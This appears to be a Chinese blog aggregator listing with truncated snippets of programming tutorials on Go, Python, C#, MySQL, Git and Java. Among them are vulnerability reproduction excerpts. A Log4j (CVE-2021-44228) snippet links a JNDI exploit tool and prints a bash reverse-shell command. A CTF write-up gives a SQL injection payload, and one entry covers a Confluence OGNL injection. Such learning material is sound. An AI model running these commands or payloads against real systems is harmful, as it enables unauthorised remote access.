漏洞 基础json web
go语言基础-时间和日期
time 包为我们提供了一个数据类型 time.Time（作为值使用）以及显示和测量时间和日期的功能函数。 当前时间可以使用 time.Now() 获取，或者使用 t.Day()、t.Minute() 等等来获取时间的一部分；你甚至可以自定义时间格式化字符串，例如： fmt.Printf("%02d ......
go语言基础-strings和strconv包
作为一种基本数据结构，每种语言都有一些对于字符串的预定义处理函数。Go 中使用 strings 包来完成对字符串的主要操作。 前缀和后缀 HasPrefix() 判断字符串 s 是否以 prefix 开头： strings.HasPrefix(s, prefix string) bool HasSu ......
Python Web UI自动化报错 ：ResourceWarning: Enable tracemalloc to get the object allocation traceback
ResourceWarning资源警告解决方案 原因：在执行线性脚本完毕时，没有及时释放相应资源，导致内存堆积，从而造成内存溢出（如关闭浏览器等操作），此时，Python将会做出提醒； 在百度吸取 网络老师们的经验后实践，总结如下： 1.在进行测试前准备工作时，忽略警告信息 import warni ......
go语言基础-字符串
字符串是 UTF-8 字符的一个序列（当字符为 ASCII 码时则占用 1 个字节，其它字符根据需要占用 2-4 个字节）。UTF-8 是被广泛使用的编码格式，是文本文件的标准编码，其它包括 XML 和 JSON 在内，也都使用该编码。由于该编码对占用字节长度的不定性，Go 中的字符串里面的字符也可 ......
Nexpose v6.6.209 for Linux & Windows - 漏洞扫描
Nexpose v6.6.209 for Linux & Windows - 漏洞扫描 Rapid7 Vulnerability Management, Release Aug 02, 2023 请访问原文链接：，查看最新版。原创作品，转载请保留出处。 作者主页：[sysin.org](https: ......
go语言基础-基本类型和布尔
这部分讲解有关布尔型、数字型和字符型的相关知识。 表达式是一种特定类型的值，它可以由其他的值以及运算符组合而成。每个类型都定义了可以和自己结合的运算符集合，如果你使用了不在这个集合中的运算符，在编译时获得编译错误。 一元运算符只可以用于一个值的操作（作为后缀），而二元运算符则可以和两个值或者操作数结 ......
Python如何开发桌面应用程序？Python基础教程，第十三讲，图形界面
当使用桌面应用程序的时候，有没有那么一瞬间，想学习一下桌面应用程序开发？行业内专业的桌面应用程序开发一般是C++,C#来做，Java开发的也有，但是比较少。本节课会介绍Python的GUI（图形用户界面）编程，用Python也可以写出漂亮的桌面程序，建议此次课程大家稍作了解不要浪费太多时间，因为没有 ......
C# 读取json配置文件appsettings.json
添加NuGet包 Microsoft.Extensions.Configuration.FileExtensions； Microsoft.Extensions.Configuration.Json； appsettings.json示例 代码： public static void GetBuil ......
MySql基础及约束
#review #数据库 #MySQL # 数据库 ## 数据库基础知识 1. 存储数据的仓库,数据是有组织的存储的 2. 英文：database，简称DB 数据库管理系统是管理数据库的大型软件，英文为DataBase Managerment System 简称DBMS **关系表数据库** SQl ......
go语言基础-变量
简介 声明变量的形式一般是使用var关键字：var identifier type。 需要注意的是，Go 和许多编程语言不同，它在声明变量时将变量的类型放在变量的名称之后。Go 要为什么选择呢？ 首先，它是为了避免像C语言中那样含糊不清的语句形式，例如：。int* a, b;在这个例子中，只有a指针 ......
HTML5 VideoAPI，打造自己的Web视频播放器
本文将使用HTML5提供的VideoAPI做一个自定义的视频播放器，需要用到HTML5提供的video标签、以及HTML5提供的对JavascriptAPI的扩展。 一、基础知识 1.用法 <video src="./video/mv.mp4"></video> 注意：audio和video元素必须 ......
go语言基础-基础数据类型之常量
常量使用关键字const定义，用于存储不会改变的数据。 存储在常量中的数据类型只能是布尔型、数字型（整数型、浮点型和复数）和字符串型。 常量的定义格式：const identifier [type] = value，例如： const Pi = 3.14159 在Go语言中，你可以省略类型说明符[t ......
CVE-2021-44228 Apache log4j2远程代码执行漏洞
漏洞复现 验证是否存在apache log4j2漏洞 https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 反弹shell bash -i >& /dev/tcp/ip/port 0>&1 将此命令进行javarunti ......
NET7下的WEB API示例
NET7下的WEB API示例 [Route("api/[controller]")] [ApiController] public class ShopADController : ControllerBase { private readonly IRepository<Model.ShopAD ......
web安全测试工具
web安全测试工具 1，appscan，算是用的非常多的一款工具了，扫描后能够将绝大部分的漏洞找出来。 2，Netsparker Community Edition 这个程序可以检测SQL注入和跨页脚本事件。牛逼的是还能提供解决方案 3，Websecurify 这是个简单易用的开源工具，此程序还有一 ......
go语言基础-语言的核心结构与技术之基本结构要素
package main import "fmt" func main() { fmt.Println("hello,world") } 上述伪代码可以看到，学习go语言的基本语法，接下来，针对这段伪代码分析 package main 封装的概念，导入与可见性 包是构造代码的一种方式：每个程序都由包 ......
小狐狸GPT付费创作系统WEB版源码-登录权限验证逻辑
小狐狸GPT付费创作系统WEB版默认是需要公众号关注登录，一直想改成账号密码登录形式，继续查看接口部分 获取系统设置信息的接口 /web.php/login/system 从header里取x-site作为sitecode，如果取不到默认1 从setting表里查出设置数据，如下sql select ......
Git操作指导——基础篇
# Git操作指导——基础篇 [TOC] ## 一、GIT工作原理 ### 1、工作流程图 一般工作流程如下： - 克隆 Git 资源作为工作目录。 - 在克隆的资源（本地工作目录）上添加或修改文件。 - 如果其他人修改了，你可以更新资源。 - 在提交前查看修改。 - 提交修改。 - 在修改完成后， ......
Zookeeper基础命令
一、 事件监听 在 ZooKeeper 中，可以通过注册事件监听器来监视 ZNode 的状态变化和节点的子节点变化 1. stat -w path 1 # NodeCreated 创建 2 # NodeDataChanged 修改 3 # NodeDeleted 删除 4 stat -w path ......
【随便学学】和声学基础
#### 1.常用基本和弦  #### 2.和弦级数  => _productContext.Products.Or ......
Python基础day59Django模型层查询
外键字段的增删改查、多表查询（子查询和连表查询）、正反向的概念、子查询、多表查询之连表查询（基于双下划线的查询）、聚合查询（aggregate）、分组查询（annotate）、F查询、Q查询、Django中如何开启事务 ......
Confluence OGNL表达式注入命令执行漏洞（CVE-2022-26134）
# Confluence OGNL表达式注入命令执行漏洞（CVE-2022-26134） ## 简介 Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新，通告了一个严重且已在野利用的代码执行漏洞，攻击者利用这个漏洞即可无需 ......
java基础-线程有哪些状态
线程有哪些状态？ 答：Java中的线程状态由Thread类的内部枚举类State表示，总共有6种状态。NEW、RUNNABLE、BLOCKED、WAITING、TIMED_WAITING、TERMINATED 详细说明： NEW（新建）：通过new关键字创建一个Thread对象后，线程的初始状态是N ......
Golang 使用 JSON unmarshal 数字到 interface{} 数字变成 float64 类型
最近在golang业务开发时，遇到一个坑。 我们有个服务，会接收通用的interface对象，然后去给用户发消息。因此会涉及到把各个业务方传递过来的字符串，转成interface对象。 但是因为我的字符串里有一个数字，比如下面demo里的{"number":1234567}，而且数字是7位数，在经过 ......
java基础下(笔记)
面向对象编程 本质：以类的方式组织代码，以对象来组织(封装)数据 面向对象:分类的思维模式， 首先思考解决问题需要哪些分类，然后对这些分类进行单独思考。 面向过程：步骤清晰简单，每一步都清清楚楚。 类和对象 从认识论角度思考是先有对象后有类，对象是具体事物，类是对具体事物的抽象 从代码运行角度思考是 ......
CTFer成长记录——CTF之Web专题·极客大挑战—BabySQL
一、题目链接 https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL 二、解法步骤 本题是SQL注入，那么先尝试万能密码：1' or 1=1# 发现or后面的东西都失效了，猜测 ......
【ML算法基础】一欧元滤波器
前言 参考 1. 算法笔记 | 一欧元滤波器(1€ Filter, OneEuroFilter); 2. 1€ Filter Demo; 3. 一欧元滤波器(OneEuroFilter)_胖胖腐乳的博客-CSDN博客; 4. Noise Filtering Using 1€ Filter | Jaa ......
JavaScript基础04
函数 函数定义 function 自定义函数名() { 函数体代码;}// 函数名命名: 1. 与变量名规则基本上是一样的! 2. 建议变量名使用名词，函数名用动词 3. 大小写敏感 4. 普通函数使用小驼峰,不要首字母大写 5. 首字母大写的函数一般用作自定义构造函数 函数调用 自定义函数名(); ......